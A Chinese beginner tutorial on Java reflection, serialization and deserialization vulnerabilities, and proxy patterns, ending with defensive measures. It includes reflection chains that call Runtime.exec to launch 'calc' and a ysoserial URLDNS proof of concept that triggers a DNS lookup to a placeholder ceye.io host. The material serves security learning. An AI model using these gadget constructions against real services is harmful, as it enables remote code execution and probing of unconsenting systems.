JAVA小白入门基础篇
字数 1678 2025-08-23 18:31:17
Java反射与反序列化安全教程
一、Java反射机制
1.1 反射基础概念
Java反射机制是在运行状态时:
- 对于任意一个类,都能获取这个类的所有属性和方法
- 对于任意一个对象,都能调用它的任意方法和属性(包括私有方法/属性)
- 这种动态获取信息及调用对象方法的功能称为反射机制
反射与正射的区别:
- 正射:通过new对象调用方法
- 反射:不通过new对象取得方法
1.2 反射的动态机制
反射是Java实现动态语言的关键,通过反射实现类动态加载:
- 静态加载:编译时加载相关类,不存在则报错,依赖性高
- 动态加载:运行时加载需要的类,运行时不使用则不会报错,降低依赖性
// 示例:动态加载
Class cls = Class.forName("Person"); // 运行时才检查Person类
Object o = cls.newInstance();
Method m = o.getMethod("hi");
m.invoke(o);
1.3 反射核心方法
1.3.1 获取类的方法
-
Class.forName() - 通过完整类名获取
Class qwq = Class.forName("java.lang.Runtime"); -
getClass() - 通过实例对象获取
String s = "qwq"; Class cla = s.getClass(); -
类名.class - 直接通过类获取
Class cla = String.class;
1.3.2 实例化对象
newInstance() - 实例化对象并触发构造方法
Object o = cls.newInstance();
1.3.3 获取和调用方法
-
getMethod() - 获取public方法
Method execMethod = clazz.getMethod("exec", String.class); -
invoke() - 执行方法
execMethod.invoke(currentRuntime, "calc.exe");m.invoke(null, "23333");
1.4 反射执行命令示例
// 反射调用Runtime执行命令
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(Class.forName("java.lang.Runtime")), "calc");
分解步骤:
- 获取Runtime类
- 获取exec方法
- 获取getRuntime方法
- 创建Runtime对象
- 调用exec执行命令
1.5 反射获取字段和方法
获取字段:
getFields():获取所有public字段(包括父类)getDeclaredFields():获取当前类所有字段(不包括父类)
获取方法:
getMethod(name, Class...):获取public方法(包括父类)getDeclaredMethod(name, Class...):获取当前类方法(不包括父类)getMethods():获取所有public方法(包括父类)getDeclaredMethods():获取当前类所有方法(不包括父类)
1.6 反射调用私有方法
使用getDeclared系列方法并设置可访问:
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true); // 取消私有限制
clazz.getMethod("exec",String.class).invoke(m.newInstance(), "calc.exe");
二、Java反序列化
2.1 IO流基础
Java IO(Input/Output)完成硬盘文件读写:
FileInputStream读取文件:
- 创建流对象
- 读取流对象数据
- 关闭流对象
FileInputStream fis = new FileInputStream(file);
int a = 0;
byte[] bytes = new byte[1024];
while ((a = fis.read(bytes)) != -1) {
out.write(bytes, 0, a);
}
FileOutputStream写入文件:
FileOutputStream fos = new FileOutputStream(file);
fos.write(content.getBytes());
fos.flush();
fos.close();
2.2 序列化与反序列化
定义:
- 序列化:将Java对象转换为字节序列
- 反序列化:将字节序列恢复为Java对象
序列化示例:
public class Main implements Serializable {
private String name;
private int age;
// 构造方法、getter/setter等
}
public class serialize {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}
反序列化示例:
public class unserialize {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
return ois.readObject();
}
}
2.3 反序列化漏洞
漏洞成因:服务端反序列化数据时自动调用类中的readObject代码
利用条件:
- 继承Serializable
- 入口类source(重写readObject)
- 调用链gadget chain
- 执行类sink (RCE、SSRF等)
漏洞利用形式:
- 入口类readObject直接调用危险函数
- 入口类参数包含可控类,该类有危险方法
- 入口类参数包含可控类,该类调用其他有危险方法的类
- 构造函数/静态代码块等类加载时隐式执行
2.4 URLDNS利用链分析
URLDNS是ysoserial中用于检测反序列化漏洞的链:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
POC构造:
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://xxx.ceye.io");
// 通过反射修改hashCode避免序列化时触发DNS
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
hashcodefile.set(url,-1); // 反序列化时会触发DNS
三、Java代理模式
3.1 静态代理
角色分析:
- 抽象角色:接口/抽象类
- 真实角色:被代理类
- 代理角色:代理类
- 客户:访问代理对象
示例:
// 抽象角色
public interface Rent {
public void rent();
}
// 真实角色
public class Host implements Rent {
public void rent() {
System.out.println("房东要出租房子");
}
}
// 代理角色
public class Proxy implements Rent {
private Host host;
public void rent() {
seeHouse();
host.rent();
fare();
}
// 附加方法...
}
// 客户
Proxy proxy = new Proxy(new Host());
proxy.rent();
3.2 动态代理
动态代理通过Proxy.newProxyInstance实现:
public Object getProxyInstance() {
return Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("代理处理");
return method.invoke(target, args);
}
});
}
关键点:
- 必须实现接口
- 通过InvocationHandler处理调用
- 使用反射调用方法
四、安全注意事项
- 反射可以绕过访问控制,访问私有方法和字段
- 反序列化可能执行任意代码,需严格校验输入
- Runtime.exec和ProcessBuilder均可执行系统命令
- 动态代理可能被用于中间人攻击
五、防御措施
- 对反序列化操作进行白名单控制
- 使用SecurityManager限制敏感操作
- 更新Java运行环境,修复已知漏洞
- 对用户输入进行严格过滤和校验